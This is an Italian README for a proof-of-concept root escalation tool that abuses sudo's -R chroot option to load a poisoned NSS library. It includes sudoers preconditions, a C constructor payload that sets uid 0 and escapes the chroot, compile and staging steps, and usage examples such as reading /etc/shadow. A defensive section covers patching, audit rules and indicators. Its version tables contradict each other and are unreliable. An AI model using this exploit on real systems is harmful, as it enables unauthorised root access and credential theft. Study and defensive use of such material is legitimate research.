
Exploit proof-of-concept per CVE-2023-42456, che dimostra l'escalation dei privilegi tramite hijacking della libreria NSS di sudo attraverso l'iniezione chroot. Include rilevamento automatico della versione, generazione del payload e fuga dal chroot per test di sicurezza autorizzati.
Autore: 0xb0rn3 | 0xbv1
Tipo: Strumento di Ricerca sulla Sicurezza Proof of Concept (PoC)
CVE: CVE-2023-42456
Tecnica: Iniezione di libreria NSS tramite sudo -R chroot → escalazione dei privilegi a root
Questo strumento è sviluppato esclusivamente per test di penetrazione autorizzati e ricerca educativa sulla sicurezza. Eseguilo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. Gli autori non si assumono alcuna responsabilità per un uso improprio. L'uso non autorizzato è illegale.
Xpl0it è un proof-of-concept che sfrutta un difetto nel modello di fiducia di come sudo gestisce il caricamento dinamico delle librerie NSS (Name Service Switch) quando si utilizza il flag -R (chroot). Nelle versioni vulnerabili di sudo, un attaccante che controlla la directory chroot può avvelenare il file nsswitch.conf al suo interno per forzare sudo a caricare una libreria condivisa malevola mentre detiene ancora privilegi elevati — prima che avvenga qualsiasi abbassamento di credenziali. In caso di esecuzione riuscita, lo strumento ti porta in una shell root o esegue qualsiasi comando specificato con uid=0 gid=0.
Questo strumento si rivolge esclusivamente a CVE-2023-42456. La vulnerabilità esiste in due rami di rilascio, ciascuno con un commit di correzione separato:
Importante: sudo 1.9.17 e successivi non sono vulnerabili. Strumenti e articoli precedenti hanno erroneamente elencato l'intervallo come "1.9.14–1.9.17". Questo strumento esegue il rilevamento della versione per ramo per evitare falsi positivi.
I seguenti CVE non sono sfruttabili tramite questa tecnica e sono intenzionalmente esclusi per evitare falsi positivi:
| CVE | Tecnica | Motivo dell'esclusione |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Overflow del buffer basato su heap | Vettore d'attacco completamente diverso |
| CVE-2021-23239 | Condizione di gara su sudoedit | Tecnica diversa |
sudo -R richiede una direttiva ChrootDir= esplicita nell'entry sudoers dell'utente target. Solo NOPASSWD non concede il permesso -R.
Senza ChrootDir, sudo rifiuta completamente il flag -R:
sudo: you are not permitted to use the -R option with bridge
Un'entry sudoers che permette questo exploit deve assomigliare a una delle seguenti:
# Percorso chroot senza restrizioni (condizione d'attacco ideale)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Chroot con percorso limitato (lo strumento adatta automaticamente la directory staging)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Percorso specifico (lo strumento crea staging all'interno del percorso consentito)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it analizza sudo -l per ChrootDir prima di eseguire qualsiasi lavoro di staging e termina anticipatamente con una spiegazione chiara se il permesso è assente.
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
Passo 1 — Ricognizione
Raccoglie OS, versione del kernel, architettura, contesto utente corrente e tutti i percorsi di ricerca validi delle librerie. Rileva l'enforcement di AppArmor/SELinux e lo stato NoNewPrivs — tutti elementi che possono bloccare silenziosamente l'exploit se attivi.
Passo 2 — Impronta della versione
Analizza sudo --version e controlla l'intervallo affetto su due rami per CVE-2023-42456 con precisione a livello di patch. Termina con spiegazione se la versione è corretta o fuori intervallo.
Passo 3 — Verifica del permesso ChrootDir
Analizza sudo -l per direttive ChrootDir=. Se assente, termina immediatamente. Se limitato a un percorso specifico, punta automaticamente a quel percorso per lo staging in modo che sudo accetti la chiamata -R.
Passo 4 — Sonda pre-sfruttamento
Costruisce un chroot minimo usa-e-getta ed esegue una chiamata innocua sudo -R prima di qualsiasi lavoro reale di staging. Conferma che sudo raggiungerà la risoluzione NSS e intercetta tempestivamente i rifiuti "non consentito".
Passo 5 — Generazione del payload
Scrive bridge90.c — una libreria condivisa C con una funzione __attribute__((constructor)) (_nss_bridge90_init) che si attiva nel momento in cui il linker dinamico la carica:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Passo 6 — Allestimento dell'ambiente
Costruisce un chroot convincente all'interno della directory di staging:
bridge/etc/nsswitch.conf — avvelenato per caricare il servizio NSS bridge90bridge/<lib_path>/libnss_bridge90.so.2 — il payload, distribuito a tutti i percorsi lib rilevati (copertura multilib)bridge/bin/bridge — eseguibile stub che sudo deve trovare per procedere oltre i controlli pre-esecuzionebridge/bin/sh, bridge/bin/bash — shell con interprete ELF corretto (rilevato tramite readelf -l)bridge/etc/ld.so.conf — copre tutti i percorsi lib in modo che ldconfig -r costruisca una cache validaPasso 7 — Compilazione
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — nessun codice di avvio predefinito; il costruttore gestisce tutto-Wl,-soname — SONAME corretto per la risoluzione dei nomi NSS-Wl,-init — __attribute__((constructor)) è sufficiente; aggiungere -Wl,-init causa una doppia chiamata ed è un bugDopo la compilazione, nm -D verifica che il simbolo del costruttore sia presente nella tabella delle esportazioni dinamiche.
Passo 8 — Esecuzione
Esegue sudo -R bridge bridge dalla directory di staging. NSS risolve bridge90 → carica la nostra libreria → il costruttore si attiva con privilegi elevati → l'escape dal chroot viene eseguito → shell root.
L'implementazione di -R in sudo si fida del contenuto della directory chroot in cui entra. Prima che questo fosse corretto, sudo non validava se l'ambiente chroot fosse stato manomesso. Poiché l'utente che fornisce il percorso chroot ne controlla il contenuto — incluso nsswitch.conf e le librerie NSS che riferisce — può reindirizzare il caricamento delle librerie verso codice arbitrario che viene eseguito prima che sudo effettui qualsiasi abbassamento di privilegi.
Aggiornare sudo
Aggiorna a 1.9.15p2, 1.9.16p2 o qualsiasi versione 1.9.17+. Queste versioni validano gli ambienti chroot prima di permettere la risoluzione NSS al loro interno.
# Controlla la tua versione
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Verificare le direttive ChrootDir
Esamina /etc/sudoers e tutti i file in /etc/sudoers.d/. Rimuovi le voci ChrootDir= se non esplicitamente necessarie. Limita i wildcard — preferisci ChrootDir=/percorso/specifico anziché ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Firme nei log di audit
# auditd — rileva invocazioni di sudo -R (rare in uso legittimo)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Indicatori sospetti
sudo -R nei log — l'uso legittimo in produzione è estremamente raro/tmp con nomi che corrispondono a sudobridge.*libnss_*.so.2 in /tmp o directory scrivibili dall'utentegcc da sessioni utente non appartenenti a sistemi di buildsetreuid/setregid da processi non di proprietà di root# Rendi eseguibile
chmod +x Xpl0it
# Entra in una shell root (predefinito)
./Xpl0it
# Esegui un comando specifico come root
./Xpl0it -c "id && cat /etc/shadow"
# Modalità debug — output verboso, directory staging preservata all'uscita
./Xpl0it -d
# Chiedi conferma prima di continuare in caso di mancata corrispondenza della versione
./Xpl0it -v
# Combina flag
./Xpl0it -v -d -c "/bin/bash"
L'entry sudoers dell'utente target deve anche includere ChrootDir= — lo strumento lo controlla automaticamente e fallisce rapidamente con una spiegazione se è assente.
Se l'exploit fallisce, esegui con -d per preservare la directory staging e ispeziona:
Cause di fallimento comuni:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2)I contributi che migliorano l'accuratezza, la portabilità o la copertura del rilevamento sono benvenuti. Si prega di mantenere ogni aggiunta allineata ai principi di divulgazione responsabile e ai casi d'uso di test autorizzati.
Xpl0it è solo per ricerca sulla sicurezza autorizzata. Ottenere sempre esplicita autorizzazione scritta prima di testare su sistemi che non possiedi.
| Ramo | Vulnerabile | Corretto in |
|---|
| 1.9.14.x | tutti (1.9.14 – 1.9.14p2) | N/D (intero ramo affetto) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | non affetto | correzione integrata a monte prima del ramo |
| CVE-2021-23240 | Bypass del symlink del ruolo SELinux | Tecnica diversa |
| Strato | Azione |
|---|
| Aggiornamento | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Rimuovere ChrootDir=*; usare solo percorsi specifici |
| MAC | Profili AppArmor/SELinux che bloccano dlopen() non fidati |
| Filesystem | Montare /tmp e le directory utente con noexec,nosuid |
| IMDSv2 | Su istanze cloud, richiedere accesso ai metadati basato su token |
| Monitoraggio | Allarmi auditd sulle invocazioni di sudo -R |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS impedisce il funzionamento di setreuid() |
| Flag | Descrizione |
|---|
-c, --command <cmd> | Comando da eseguire dopo l'escalation (default: /bin/bash) |
-d, --debug | Output di debug verboso; preserva la directory staging all'uscita |
-v, --verbose | Chiedere conferma prima di continuare se la versione è fuori dall'intervallo affetto |
-h, --help | Mostra l'uso |
--version | Stampa la versione |
| Dipendenza | Richiesto | Scopo |
|---|
gcc | Sì | Compilare libreria condivisa NSS sul target |
sudo | Sì | Binario target |
ldconfig | Sì | Costruire ld.so.cache all'interno del chroot |
readelf | Sì | Rilevare il percorso dell'interprete ELF |
grep, awk, sed, find | Sì | Utility standard |
strace, ltrace, gdb | Opzionale | Debug avanzato |
nm | Opzionale | Verifica del simbolo del costruttore |
| Controllo | Percorso | Cosa cercare |
|---|
| Log di compilazione | $STAGE/logs/compile.log | errori gcc |
| Log di ldconfig | $STAGE/logs/ldconfig.log | errori di costruzione della cache |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Libreria | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | deve esistere |
| Sudoers | sudo -l | deve mostrare ChrootDir= |
| Errore | Causa |
|---|
not permitted to use the -R option | ChrootDir= mancante in sudoers |
| Codice di uscita 1, nessun errore NSS | La versione di sudo è aggiornata |
| Libreria che non si carica silenziosamente | AppArmor/SELinux blocca dlopen() |
setreuid ignorato | NoNewPrivs=1 sul processo |
| Libreria non trovata | ldconfig -r fallito e fallback del symlink insufficiente |